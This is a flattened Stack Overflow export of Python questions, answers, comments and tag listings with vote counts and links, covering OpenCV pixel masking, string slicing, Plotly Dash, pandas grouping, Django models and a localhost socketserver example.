has body: I have read an image in python using RGBA color space. The size of an image is 640 by 960 and is stored to an array called img_array . Now each element in the array contains [R,G,B,A], say for example [21,34,53,255]. I want to filter my image pixels by turning pixels into black [0,0,0,255] which does not satisfy the conditional below. R &gt; 95 and G &gt; 40 and B &gt; 20 and R &gt; G and R &gt; B and | R - G | &gt; 15 and A &gt; 15 How will I do it in python? All I know is to set pixels to black which is not within the lower and upper boundaries using cv2.inrange(). Below is my sample code: #import the necessary packages import imutils import numpy as np import argparse import cv2 # construct the argument parse and parse the arguments ap = argparse.ArgumentParser() ap.add_argument("-i", "--image",help = "path to the image file") args = vars(ap.parse_args()) #read image with alpha channel img_array = cv2.imread(args["image"], -1) rgba_lower_bound = np.array([0, 59, 59,2], dtype = "uint8") rgba_upper_bound = np.array([20, 255, 255,255], dtype = "uint8") skinMask = cv2.inRange(img_array, rgb_lower_bound, rgb_upper_bound) skin = cv2.bitwise_and(img_array, img_array, mask = skinMask) cv2.imshow("images", skin) Please help me with this.
has comment: http://stackoverflow.com/comment/86081416
has answer: http://stackoverflow.com/a/49537472
has comment: http://stackoverflow.com/comment/86081487
tagged with: python

permissions
tag name: permissions
type: Tag
tags question: http://stackoverflow.com/q/49584875

http://stackoverflow.com/a/49563338
answers question: http://stackoverflow.com/q/49563312
score: 10
type: Answer
upvote count: 10
downvote count: 0
has body: You need to use string slicing. For example: &gt;&gt;&gt; my_str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' # For odd &gt;&gt;&gt; my_str[::2] 'ACEGIKMOQSUWY' # For even &gt;&gt;&gt; my_str[1::2] 'BDFHJLNPRTVXZ' General syntax of string slicing is string[start:end:jump] where: start: is the starting index for slicing the string. Empty value means start of the string i.e. index 0 end: is the index till which you want to slice the string. Empty value means end of the string jump: is used to jump the elements from start such that you'll get values in the order start, start+jump, start+2*jump, so on till your string reaches end. Empty value means 1

http://stackoverflow.com/q/49588018
has body: I try to make an interactive dashboard using dash from plotly. I am a beginner in it therefore I used an example to do it. The code should upload different data files from a certain folder and plot a histogram based on a certain column. The name of each file looks like "30092017ARB.csv" (date + ARB.csv). The code loops over all file names in the data-folder and print the name of files in a drop-down bottom. After selecting the name of file it should be uploaded and plot a histogram. I wrote the following code: import dash import dash_core_components as dcc import dash_html_components as html import plotly.graph_objs as go import pandas as pd # from os import listdir from os.path import isfile, join import numpy as np # mypath='/Users/Python/BeN_/data/' onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))] app = dash.Dash() app.layout = html.Div([ html.H2("Ausfallsreport"), html.Div( [ dcc.Dropdown( id="dataFH", options=[{ 'label': i, 'value': i } for i in onlyfiles], value=" "), ], style={'width': '25%', 'display': 'inline-block'}), dcc.Graph(id='Mygraph'), ]) @app.callback( dash.dependencies.Output('Mygraph', 'figure'), [dash.dependencies.Input('dataFH', 'value')]) def update_graph(dataFH): df = pd.read_csv(mypath+dataFH, delimiter=';',encoding='cp1252') # aggregate dfagg = df.groupby('Bestand', as_index=False).agg({'MW': 'sum'}) # make strings for x-axis x=["BE-"+s for s in[str(s) for s in [int(x) for x in dfagg.iloc[:,0].tolist()]]] y=dfagg.ix[:,1].tolist() trace = go.Bar(x=x, y=y, name='Declined') return { 'data': [trace], 'layout': go.Layout( title='Customer Order Status for {}'.format(dataFH), barmode='bar', yaxis=dict(tickformat=".2%")) } if __name__ == '__main__': app.run_server(debug=True) I get the following under http://127.0.0.1:8050/ . The problem is that I do not get any Bar chart. Could someone help me to figure out why.
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/50457053
favorite count: 0
type: Question
tagged with: plotly-dash
upvote count: 2
tagged with: dashboard
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/93611497
tagged with: python
has title: using dash in python to upload files and plot a bar chart
score: 2

http://stackoverflow.com/comment/85954194
type: QuestionComment
comment on: http://stackoverflow.com/q/49475770
has text: I'd suggest that you look into the Pandas library, which has many tools for parsing textual datafiles and data analysis, and also scikit-learn which has more sophisticated dimension-reduction and clustering techniques.
type: Comment
score: 1

http://stackoverflow.com/comment/85970497
comment on: http://stackoverflow.com/q/49483695
type: QuestionComment
score: 1
type: Comment
has text: Why is this tagged `python`? Unless you're using a Python script to write crontab entries, there is just a sysadmin problem, not a Python problem.

http://stackoverflow.com/q/49535754
has comment: http://stackoverflow.com/comment/86104464
linked to: http://stackoverflow.com/q/2612802
has body: I managed to find a working solution for this with list comprehensions. But I was curious as to why this works this way. Can someone explain? Code: def filter_ms_list(ms_list): trash_suffix = ['C0', 'C1', 'C2', 'C3', 'C4'] temp_list = ms_list for ms in temp_list: for suffix in trash_suffix: if ms.endswith(suffix): ms_list.remove(ms) break return ms_list ms_list = ['IJM612C0', 'IJM612C1', 'IJM612C2', 'IJM612C3', 'IJM666', 'IJM667'] Function returns ['IJM612C1', 'IJM612C3', 'IJM666', 'IJM667'] while it should return ['IJM666', 'IJM667'] While debugging I find that after removing 'IJM612C0' it jumps to 'IJM612C2' instead of the second element in the list. At first I used the same list to remove and iterate, but even with the temp list, as you see, it doesn't work. Can someone explain this? Thanks!
upvote count: 1
tagged with: loops
downvote count: 1
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/2612802
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/86077947
has title: Weird python list iteration while using 'remove' from list
duplicate of: http://stackoverflow.com/q/6500888
score: 0
tagged with: list
answer count: 0

http://stackoverflow.com/comment/86407622
comment on: http://stackoverflow.com/a/49625068
type: AnswerComment
score: 1
type: Comment
has text: No, it's quite different to my opinion. We should somehow run django.setup() before tests or something like that for tests to work properly. You suggested to change settings.py in your answer (INSTALLED_APPS and TEST_RUNNER) but I don't think nosetests uses these changes it just runs files

http://stackoverflow.com/comment/85944009
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49468945
score: 0
has text: Can you please edit your question with some code that runs? Your code doesn't work currently because the last line references `names_list` before it has been defined.

http://stackoverflow.com/a/49580502
type: Answer
answers question: http://stackoverflow.com/q/49580179
downvote count: 0
upvote count: 1
score: 1
has body: Here is a relatively terse way to do it: from itertools import groupby from collections import Counter def countTransitionFrequencies(text): prevNext = list(zip(text[:-1], text[1:])) prevNext.sort(key = lambda pn: pn[0]) transitions = groupby(prevNext, lambda pn: pn[0]) freqs = map( lambda kts: (kts[0], Counter(map(lambda kv: kv[1], kts[1]))), transitions ) return freqs Explanation: zip creates list of pairs with (previous, next) characters The pairs are sorted and grouped by the previous character The frequencies of the next characters (extracted from pairs by kv[1]) are then counted using Counter. Sorting is not really necessary, but unfortunately, this is how the provided groupby works. An example: for k, v in countTransitionFrequencies("hello world"): print("%r -&gt; %r" % (k, v)) This prints: ' ' -&gt; Counter({'w': 1}) 'e' -&gt; Counter({'l': 1}) 'h' -&gt; Counter({'e': 1}) 'l' -&gt; Counter({'l': 1, 'o': 1, 'd': 1}) 'o' -&gt; Counter({' ': 1, 'r': 1}) 'r' -&gt; Counter({'l': 1}) 'w' -&gt; Counter({'o': 1})

function
tags question: http://stackoverflow.com/q/49455115
tags question: http://stackoverflow.com/q/49446752
type: Tag
tags question: http://stackoverflow.com/q/49582413
tag name: function
tags question: http://stackoverflow.com/q/49489865
tags question: http://stackoverflow.com/q/49580329
tags question: http://stackoverflow.com/q/49504680
tags question: http://stackoverflow.com/q/49460426
tags question: http://stackoverflow.com/q/49594747
tags question: http://stackoverflow.com/q/49455696
tags question: http://stackoverflow.com/q/49569985
tags question: http://stackoverflow.com/q/49442630
tags question: http://stackoverflow.com/q/49596853
tags question: http://stackoverflow.com/q/49475336
tags question: http://stackoverflow.com/q/49501380
tags question: http://stackoverflow.com/q/49461230
tags question: http://stackoverflow.com/q/49516905
tags question: http://stackoverflow.com/q/49578953
tags question: http://stackoverflow.com/q/49497990
tags question: http://stackoverflow.com/q/49457558
tags question: http://stackoverflow.com/q/49443179
tags question: http://stackoverflow.com/q/49543392
tags question: http://stackoverflow.com/q/49503067
tags question: http://stackoverflow.com/q/49525675
tags question: http://stackoverflow.com/q/49453418
tags question: http://stackoverflow.com/q/49446971
tags question: http://stackoverflow.com/q/49460229
tags question: http://stackoverflow.com/q/49505884
tags question: http://stackoverflow.com/q/49590548
tags question: http://stackoverflow.com/q/49445217
tags question: http://stackoverflow.com/q/49442689
tags question: http://stackoverflow.com/q/49466305
tags question: http://stackoverflow.com/q/49559493
tags question: http://stackoverflow.com/q/49565859
tags question: http://stackoverflow.com/q/49552576
tags question: http://stackoverflow.com/q/49514982
tags question: http://stackoverflow.com/q/49545214
tags question: http://stackoverflow.com/q/49593942
tags question: http://stackoverflow.com/q/49566650
tags question: http://stackoverflow.com/q/49474081
tags question: http://stackoverflow.com/q/49479690
tags question: http://stackoverflow.com/q/49503617
tags question: http://stackoverflow.com/q/49567527
tags question: http://stackoverflow.com/q/49449356

http://stackoverflow.com/a/49568109
has body: Do you really need less? You can invoke this from the command line and pipe the result to grep: $ python -m this | grep "[...]" If you want to do the same thing inside IPython, you can use the %%bash magic: %%bash python -m this | grep "[...]" But since you're inside the python interpreter, why not use a string search function, or the re module instead?
score: 1
answers question: http://stackoverflow.com/q/49568077
accepted answer of: http://stackoverflow.com/q/49568077
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86144700
type: Answer

http://stackoverflow.com/comment/86202314
comment on: http://stackoverflow.com/q/49591689
has text: Thanks for your help and the resources/links provided. I wasn't aware of this useful functionality in Python.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49596761
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/86200798
has comment: http://stackoverflow.com/comment/86200814
downvote count: 0
has body: change model to below from django.contrib.auth.models import AbstractUser class User(AbstractUser): # .... gender = models.ChoiceField(choices=(('m', 'Male'), ('f', 'Female'))) # .... def children(self): if self.gender == 'm': return self.fchildren return self.mchildren class Profile(models.Model): father = models.ForeignKey( 'User', related_name='fchildren', on_delete = models.CASCADE) mother = models.ForeignKey( 'User', related_name='mchildren', on_delete = models.CASCADE) Access the urls user = User.objecets.get(pk=10) children = user.children.all()
answers question: http://stackoverflow.com/q/49596693
upvote count: 2
has comment: http://stackoverflow.com/comment/86203328

pivot-table
tag name: pivot-table
tags question: http://stackoverflow.com/q/49578886
tags question: http://stackoverflow.com/q/49561140
tags question: http://stackoverflow.com/q/49476903
tags question: http://stackoverflow.com/q/49455722
type: Tag

http://stackoverflow.com/comment/100291364
comment on: http://stackoverflow.com/a/51577817
type: AnswerComment
score: 2
type: Comment
has text: I found this slightly different, as stepAIC returns the optimal number of predictors, while RFE user needs to know specify the number of specified fields. https://scikit-learn.org/stable/modules/generated/sklearn.feature_selection.RFE.html

http://stackoverflow.com/q/49455722
has answer: http://stackoverflow.com/a/49455918
tagged with: list
tagged with: pandas
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49455808
score: 1
upvote count: 1
possible better answer: http://stackoverflow.com/a/49455918
has answer: http://stackoverflow.com/a/49455808
favorite count: 0
type: Question
tagged with: pivot-table
has body: I would like to obtain sum of points of some technologies per date from pandas data frame. A reproducible example: data = pd.DataFrame( {'date': ['2017-01-31', '2017-02-28', '2017-02-28'], 'tech': [['c++', 'python'], ['c++', 'c', 'java'], ['java']], 'score': [1, 4, 2]} ) The end result could look like this (or have the names in rows and one column with counts per date and technology): date c++ python c java 2017-01-31 1 1 4 0 2017-02-28 4 0 4 6 Points (the column score) should be summed per date and technology. The solution of grouping by date and technology is not possible since each row can contain multiple programming languages/frameworks. I wrote the following code: (pd.DataFrame({'tech': data'tech'.values.tolist(), 'score': data['score'].values, 'date': data['date'].values}).groupby(['date','tech']))['score'].sum() which produces an error: TypeError: unhashable type: 'list' so I presume that grouping by list is not possible. I am aware that the above given idea does not split the data by technology, however, I don't know how to do this with the column score (or even multiple columns).
answer count: 2
has title: Sums of points per date grouped by additional column in a form of a list
downvote count: 0
tagged with: python

http://stackoverflow.com/q/49523579
has answer: http://stackoverflow.com/a/49589883
score: 0
answer count: 1
has body: Im using rpy2 package in python. It's a package for R programming via python. when i use 'as' function in python it consider it a syntax error. It works fine in R. I imported all necessary packages. Is there any command to replace as.apes. from rpy2.robjects.packages import importrcode utils = importr('utils') utils.chooseCRANmirror(ind=1) base = importr('base') methods= importr('methods') packnames = ('ape', 'aphid','methods') apes= importr("ape") g1 = as.apes.AAbin("EL---DSD-ILPELLATLARTHDLNK----VGPAHYDLFAKVLM") g1 = as.apes.AAbin("EL---DSD-ILPELLATLARTHDLNK----VGPAHYDLFAKVLM") ^ SyntaxError: invalid syntax
upvote count: 1
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/86053088
type: Question
has comment: http://stackoverflow.com/comment/86053058
has comment: http://stackoverflow.com/comment/86053068
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86059863
has title: rpy2 in python SyntaxError: invalid syntax for as.ape.AAbin
tagged with: python
has comment: http://stackoverflow.com/comment/86059979
accepted answer: http://stackoverflow.com/a/49589883
tagged with: http://stackoverflow.com/tag/r
type: AnsweredQuestion

http://stackoverflow.com/q/49545073
type: Question
accepted answer: http://stackoverflow.com/a/49545304
has answer: http://stackoverflow.com/a/49545304
upvote count: 2
tagged with: python
has title: Counting column value occurrences within a specified amount of time
type: AnsweredQuestion
score: 0
tagged with: pandas
has body: I have a multi-indexed dataframe, df: name time activity Bill 2013-10-09 05:27:00 run 2013-10-09 07:23:00 play 2013-10-09 07:25:00 hw 2013-10-09 08:25:00 swim Rick 2014-11-07 06:27:00 eat 2014-11-07 07:25:00 swim 2014-11-07 08:25:00 hw 2014-11-07 10:30:00 play with name and time as indices. time is a datetime type. I want a function, def find_close_activities(df, a, nhr) that will return the count of activities which occurs within nhr hour(s) away from each instance of activity, a. So as an example, find_close_activities(df, 'hw', 1) would return play: 1 swim: 2 IMPORTANT: Counts should not overlap between names. We should only be searching for activities occurring n_hrs away within the same person. I think that this would require a groupby.
downvote count: 2
answer count: 1
favorite count: 0

regex
tags question: http://stackoverflow.com/q/49442913
tags question: http://stackoverflow.com/q/49517474
tags question: http://stackoverflow.com/q/49544593
tags question: http://stackoverflow.com/q/49566709
tags question: http://stackoverflow.com/q/49482125
tags question: http://stackoverflow.com/q/49476240
tags question: http://stackoverflow.com/q/49472373
tags question: http://stackoverflow.com/q/49522818
tags question: http://stackoverflow.com/q/49596159
tags question: http://stackoverflow.com/q/49537815
tags question: http://stackoverflow.com/q/49464015
tags question: http://stackoverflow.com/q/49524911
tags question: http://stackoverflow.com/q/49580317
tags question: http://stackoverflow.com/q/49484015
tags question: http://stackoverflow.com/q/49563556
tags question: http://stackoverflow.com/q/49530605
tags question: http://stackoverflow.com/q/49528112
tags question: http://stackoverflow.com/q/49457618
tags question: http://stackoverflow.com/q/49538395
tags question: http://stackoverflow.com/q/49525317
tags question: http://stackoverflow.com/q/49448335
tag name: regex
tags question: http://stackoverflow.com/q/49521321
tags question: http://stackoverflow.com/q/49574640
tags question: http://stackoverflow.com/q/49477106
tags question: http://stackoverflow.com/q/49538396
tags question: http://stackoverflow.com/q/49468736
tags question: http://stackoverflow.com/q/49561092
tags question: http://stackoverflow.com/q/49444015
tags question: http://stackoverflow.com/q/49505910
tags question: http://stackoverflow.com/q/49462869
tags question: http://stackoverflow.com/q/49571999
tags question: http://stackoverflow.com/q/49567315
tags question: http://stackoverflow.com/q/49594549
tags question: http://stackoverflow.com/q/49496212
tags question: http://stackoverflow.com/q/49547805
tags question: http://stackoverflow.com/q/49462630
tags question: http://stackoverflow.com/q/49547604
tags question: http://stackoverflow.com/q/49536929
tags question: http://stackoverflow.com/q/49456580
tags question: http://stackoverflow.com/q/49492847
tags question: http://stackoverflow.com/q/49444638
tags question: http://stackoverflow.com/q/49538759
tags question: http://stackoverflow.com/q/49568719
tags question: http://stackoverflow.com/q/49518114
tags question: http://stackoverflow.com/q/49470165
tags question: http://stackoverflow.com/q/49584196
tags question: http://stackoverflow.com/q/49522265
tags question: http://stackoverflow.com/q/49468784
tags question: http://stackoverflow.com/q/49586698
tags question: http://stackoverflow.com/q/49520022
tags question: http://stackoverflow.com/q/49529754
tags question: http://stackoverflow.com/q/49591343
tags question: http://stackoverflow.com/q/49496755
tags question: http://stackoverflow.com/q/49508344
tags question: http://stackoverflow.com/q/49497935
tags question: http://stackoverflow.com/q/49512121
tags question: http://stackoverflow.com/q/49577890
tags question: http://stackoverflow.com/q/49487978
tags question: http://stackoverflow.com/q/49569338
tags question: http://stackoverflow.com/q/49583535
tags question: http://stackoverflow.com/q/49485910
tags question: http://stackoverflow.com/q/49474935
tags question: http://stackoverflow.com/q/49581566
tags question: http://stackoverflow.com/q/49566130
tags question: http://stackoverflow.com/q/49504308
tags question: http://stackoverflow.com/q/49564966
tags question: http://stackoverflow.com/q/49569119
tags question: http://stackoverflow.com/q/49589566
tags question: http://stackoverflow.com/q/49476419
tags question: http://stackoverflow.com/q/49581080
tags question: http://stackoverflow.com/q/49450979
tags question: http://stackoverflow.com/q/49520836
tags question: http://stackoverflow.com/q/49525569
tags question: http://stackoverflow.com/q/49472493
tags question: http://stackoverflow.com/q/49458950
tags question: http://stackoverflow.com/q/49580969
tags question: http://stackoverflow.com/q/49517830
tags question: http://stackoverflow.com/q/49537687
tags question: http://stackoverflow.com/q/49583941

http://stackoverflow.com/comment/86155742
type: QuestionComment
comment on: http://stackoverflow.com/q/49573516
score: 0
type: Comment
has text: @Aran-Fey thank youuuuu lol it works

http://stackoverflow.com/comment/86203310
type: Comment
score: 0
type: QuestionComment
has text: It's not written by me, but i'm meant to use it. The part with the imports shows no problems.
comment on: http://stackoverflow.com/q/49591674

http://stackoverflow.com/a/56635491
answers question: http://stackoverflow.com/q/49460212
score: 1
downvote count: 0
upvote count: 1
has body: I think there's no problem in your code and you could find your print results (and other outputs) in the tab 5: Debug rather than 4: Run.
type: Answer
has comment: http://stackoverflow.com/comment/99842688

http://stackoverflow.com/q/49472910
has answer: http://stackoverflow.com/a/49472946
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85948280
tagged with: python
has comment: http://stackoverflow.com/comment/85948373
has body: import datetime date = datetime.datetime(2000,9,17) for i in range(50): date += datetime.timedelta(days=1) print(date) I want to print only the last date in the form 2075-01-30 and Not as 2075-01-30 00:00:00
has title: how can we print only the last item from for loop? python 3.?
has comment: http://stackoverflow.com/comment/85948267
score: 0
has comment: http://stackoverflow.com/comment/85948299
answer count: 3
has answer: http://stackoverflow.com/a/49472952
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49472928

http://stackoverflow.com/comment/85938135
type: Comment
type: QuestionComment
has text: I can't find the english.csv in the repo you posted. Also, which letter gets replaced in the first iteration? Reading your code, I believe there's a couple of problems. 1. Your code will never leave the while loop in its current form (you never modify 'original') 2. You join temp_alpha into a string, but never revert/reset it to a list. If you provide your code in a completely reproducible form, I'll gladly try to help you :)
comment on: http://stackoverflow.com/q/49467514
score: 1

http://stackoverflow.com/a/49541846
type: Answer
has body: The matplotlib docs say: pylab is a convenience module that bulk imports matplotlib.pyplot (for plotting) and numpy (for mathematics and working with arrays) in a single name space. Although many examples use pylab, it is no longer recommended. So for example, you can do &gt;&gt;&gt; from pylab import * And you have imported all the names imported by pylab into your local namespace. This is convenient when using the interactive shell. Additionally, pylab imports datetime and bytes. This is because the from numpy.foo import * statements import numpy objects named bytes and datetime which are not the same as the standard python objects with these names, so they need to be overridden with the standard versions. The practice of importing names into a module just so other modules can import them from there instead of the original module is not unusual. For example, given this module: $ cat foo/__init__.py from bar import * from baz.quux import * from spam import eggs Other modules can do from foo import eggs rather than from foo.spam import eggs. Apart from the convenience of less typing, this approach hides the internal structure of the foo package from its clients. As long as they import from the top level module they need not be concerned that the internal structure of the package may change over time. This is a form of the facade design pattern.
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/49516422
upvote count: 1

http://stackoverflow.com/q/49472282
tagged with: sockets
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/85947185
linked to: http://stackoverflow.com/q/48055880
has answer: http://stackoverflow.com/a/59598087
tagged with: python-2.7
has body: I try to run example from : https://docs.python.org/3/library/socketserver.html#socketserver-tcpserver-example in my laptop but it didn't work. Server : import socketserver class MyTCPHandler(socketserver.BaseRequestHandler): """ The request handler class for our server. It is instantiated once per connection to the server, and must override the handle() method to implement communication to the client. """ def handle(self): # self.request is the TCP socket connected to the client self.data = self.request.recv(1024).strip() print("{} wrote:".format(self.client_address[0])) print(self.data) # just send back the same data, but upper-cased self.request.sendall(self.data.upper()) if __name__ == "__main__": HOST, PORT = "localhost", 9999 # Create the server, binding to localhost on port 9999 with socketserver.TCPServer((HOST, PORT), MyTCPHandler) as server: # Activate the server; this will keep running until you # interrupt the program with Ctrl-C server.serve_forever() Client : import socket import sys HOST, PORT = "localhost", 9999 data = " ".join(sys.argv[1:]) # Create a socket (SOCK_STREAM means a TCP socket) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: # Connect to server and send data sock.connect((HOST, PORT)) sock.sendall(bytes(data + "\n", "utf-8")) # Receive data from the server and shut down received = str(sock.recv(1024), "utf-8") print("Sent: {}".format(data)) print("Received: {}".format(received)) This error is showing on both client and server site : Traceback (most recent call last): File "C:\Users\Win7_Lab\Desktop\testcl.py", line 8, in &lt;module&gt; with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: AttributeError: __exit__ [Finished in 0.1s with exit code 1] [shell_cmd: python -u "C:\Users\Win7_Lab\Desktop\testcl.py"] [dir: C:\Users\Win7_Lab\Desktop] [path: C:\Python27\;C:\Python27\Scripts;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\]
answer count: 1
has comment: http://stackoverflow.com/comment/85947187
upvote count: 7
score: 7
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/16772465
has title: Python Socket : AttributeError: __exit__
type: UnansweredQuestion

http://stackoverflow.com/a/49587157
upvote count: 1
answers question: http://stackoverflow.com/q/49587054
type: Answer
score: 1
downvote count: 0
has body: like this: !? lst=[['year', 'month', 'date_of_month', 'day_of_week', 'births'], ['1994', '1', '1', '6', '8096'], ['1994', '1', '2', '7', '7772'], ['1994', '1', '3', '1', '10142'], ['1994', '1', '3', '1', '10'] ] d={} for e in lst: if e[3].isdigit(): if e[3] in d: d.update({e[3]:d[e[3]]+int(e[4])}) else: d.update({e[3]:int(e[4])}) for e in d: print e, d[e]

http://stackoverflow.com/a/49477159
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/85957462
downvote count: 0
has comment: http://stackoverflow.com/comment/85957485
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49477106
answers question: http://stackoverflow.com/q/49477106
has body: You can find letters and floats, and then group: import re import itertools points ="""M445,346c28.8,0,56,11.2,76.4,31.6C541.8,398,553,425.2,553,454s-11.2,56-31.6,76.4C501,550.8,473.8,562,445,562 s-56-11.2-76.4-31.6C348.2,510,337,482.8,337,454s11.2-56,31.6-76.4S416.2,346,445,346 M445,345c-60.2,0-109,48.8-109,109 s48.8,109,109,109s109-48.8,109-109S505.2,345,445,345L445,345z""" new_points = [list(b) for a, b in itertools.groupby(filter(None, re.findall('[a-zA-Z]+|[\d\.]+', points)), key=lambda x:re.findall('[a-zA-Z]+', x))] final_data = [[new_points[i], [int(c) if re.findall('^\d+$', c) else float(c) for c in new_points[i+1]]] for i in range(0, len(new_points)-1, 2)] Output: [[['M'], [445, 346]], [['c'], [28.8, 0, 56, 11.2, 76.4, 31.6]], [['C'], [541.8, 398, 553, 425.2, 553, 454]], [['s'], [11.2, 56, 31.6, 76.4]], [['C'], [501, 550.8, 473.8, 562, 445, 562]], [['s'], [56, 11.2, 76.4, 31.6]], [['C'], [348.2, 510, 337, 482.8, 337, 454]], [['s'], [11.2, 56, 31.6, 76.4]], [['S'], [416.2, 346, 445, 346]], [['M'], [445, 345]], [['c'], [60.2, 0, 109, 48.8, 109, 109]], [['s'], [48.8, 109, 109, 109]], [['s'], [109, 48.8, 109, 109]], [['S'], [505.2, 345, 445, 345]], [['L'], [445, 345]]]
type: Answer

http://stackoverflow.com/a/49594041
downvote count: 0
has comment: http://stackoverflow.com/comment/86233892
has comment: http://stackoverflow.com/comment/86235483
answers question: http://stackoverflow.com/q/49593797
type: Answer
upvote count: 1
score: 1
has body: I'm not sure how you used sklearn to encode your column of strings, since that was not included in the original post. However, you can used the LabelEncoder() following the steps below from sklearn.preprocessing import LabelEncoder le = LabelEncoder() le.fit(df.levels.unique()) df.levels = le.transform(df.levels) levels 0 1 1 1 2 2 3 1 4 2 5 0

http://stackoverflow.com/comment/86031008
type: QuestionComment
has text: @theo: once for all, there is __no way__ what you describe can happen - strings are immutable and a function cannot rebind names in it's caller's namespace. Also both Daniel Pryden and myself tested your code (making sure to print `word1` and `word2` after the `similar()` call in my case) and, __of course__, `word2` is left unchanged by the call. I don't know where you got that idea from - that `word2` would become an empty string after the call - but it's just NOT happening. Period.
score: 0
comment on: http://stackoverflow.com/q/49512206
type: Comment

http://stackoverflow.com/a/50806528
score: 0
has body: So, the actual definite answer to this is to add a so-called Replay429Adapter to the connection. This will take care of catching HTTP429 errors and retrying and pacing the connection to alleviate direct impact of the 5 Query Per Second limit of Cloudant Lite plans on IBM Cloud. This is actually documented, once you know what to look for: https://python-cloudant.readthedocs.io/en/latest/getting_started.html?highlight=Replay429Adapter You will need to add: from cloudant.adapters import Replay429Adapter and then, add ,adapter=Replay429Adapter(retries=10, initialBackoff=0.01)) to your Cloudant client connector creation See also https://github.com/cloudant/python-cloudant/issues/249
answers question: http://stackoverflow.com/q/49541162
type: Answer

http://stackoverflow.com/comment/86187422
has text: What version of python are you using, i have just tested this and it works fine with version 3.6.4
score: 0
comment on: http://stackoverflow.com/a/49589699
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49579015
has comment: http://stackoverflow.com/comment/116231955
score: 1
type: Answer
answers question: http://stackoverflow.com/q/49578928
has body: All of the elements in the list that you pass into parse_args need to be strings, it's up to the argument parser to interpret the strings as the type that you set.
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/86025282
type: Comment
comment on: http://stackoverflow.com/q/49510037
score: 0
type: QuestionComment
has text: I have included the data.

http://stackoverflow.com/q/49546731
downvote count: 4
has body: I cannot see a log of my print statements in the terminal. Here is a screenshot of my code with the print statements print 1 and print 2 added and my terminal that is open. What is missing? I do not see an output of 1 or 2.
has answer: http://stackoverflow.com/a/49546755
has comment: http://stackoverflow.com/comment/86100935
upvote count: 0
type: UnansweredQuestion
score: -4
favorite count: 0
tagged with: terminal
answer count: 1
tagged with: python
has title: Issue using print statements while debugging. Log in terminal doesn't show output
type: Question
tagged with: debugging
has comment: http://stackoverflow.com/comment/86100958

http://stackoverflow.com/q/49481013
tagged with: python
has answer: http://stackoverflow.com/a/49481731
has comment: http://stackoverflow.com/comment/85964942
has comment: http://stackoverflow.com/comment/85964973
score: 0
tagged with: list
has answer: http://stackoverflow.com/a/49481935
has body: I have a list in python on the same form as the following: list = [["player1", "team1", "pointsPlayer1"],["player2", "team2", "pointsPlayer2"]] The list contains between 0 and 20 players. My problem is that I want to be able to know how many places each player gains or loses after new points are given (after a round). I know I'll have to make a copy of the list before points are given and then compare it to the updated list, but I don't know how to do that.
has title: Compare position of a specfic item from an old to a new list
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/85965031
type: UnansweredQuestion

http://stackoverflow.com/q/49463949
tagged with: python
accepted answer: http://stackoverflow.com/a/49464128
has answer: http://stackoverflow.com/a/49464128
has body: I declared an empty data frame near the top of my file with a global scope: final_df = pd.DataFrame() I have stats_dfsuccessfully printing the correct value, but final_df is not changing after appending stats_df to it: stats_df = pd.DataFrame(X, columns=stats_feature_names).sum().to_frame().T print('statsdf being appended: \n', stats_df) print('final_df before append: \n', final_df) final_df.append(stats_df) print('final_df after append: \n', final_df) The output of these print statements are: statsdf being appended: GF GA 0 14 33 final_df before append: Empty DataFrame Columns: [] Index: [] final_df after append: Empty DataFrame Columns: [] Index: [] When it should be: statsdf being appended: GF GA 0 14 33 final_df before append: Empty DataFrame Columns: [] Index: [] final_df after append: GF GA 0 14 33 Why is stats_df not being appended to final_df?
type: Question
has title: Appending dataframe to empty dataframe is not working
tagged with: scikit-learn
type: AnsweredQuestion
score: 0
tagged with: pandas
answer count: 1

http://stackoverflow.com/comment/86196805
has text: Same error : runfile('C:/Users/RB287JD/Documents/Programs/flask_1.py', wdir='C:/Users/RB287JD/Documents/Programs') * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
comment on: http://stackoverflow.com/a/49594680
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86009651
type: QuestionComment
type: Comment
has text: [Minimal, Complete, and Verifiable example](https://stackoverflow.com/help/mcve) Add your code , what have you tried.
comment on: http://stackoverflow.com/q/49502741
score: 0

http://stackoverflow.com/q/49442713
answer count: 0
has title: PyAutoGUI not recognizing open application on screen
has comment: http://stackoverflow.com/comment/85887694
has body: I'm running a Windows application and trying to locate buttons on the screen but PyAutoGUI is not recognizing the application. It will not locate the button image and when I try to screenshot the location where the button is, it captures the desktop. Or if there is a second application hidden behind the active application, it will capture that screen. It's as if the application is no on the screen. This is all in a VirtualBox machine. The interesting thing is that this VM is a clone of a Parallels machine where everything works fine. If I try to locate other images such as the application icon on the desktop, everything works fine so I'm kind of stumped as to what is going on here.
tagged with: pyautogui
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86506358
tagged with: python
tagged with: virtualbox
score: 0

http://stackoverflow.com/comment/86037386
score: 0
comment on: http://stackoverflow.com/q/49515651
type: Comment
type: QuestionComment
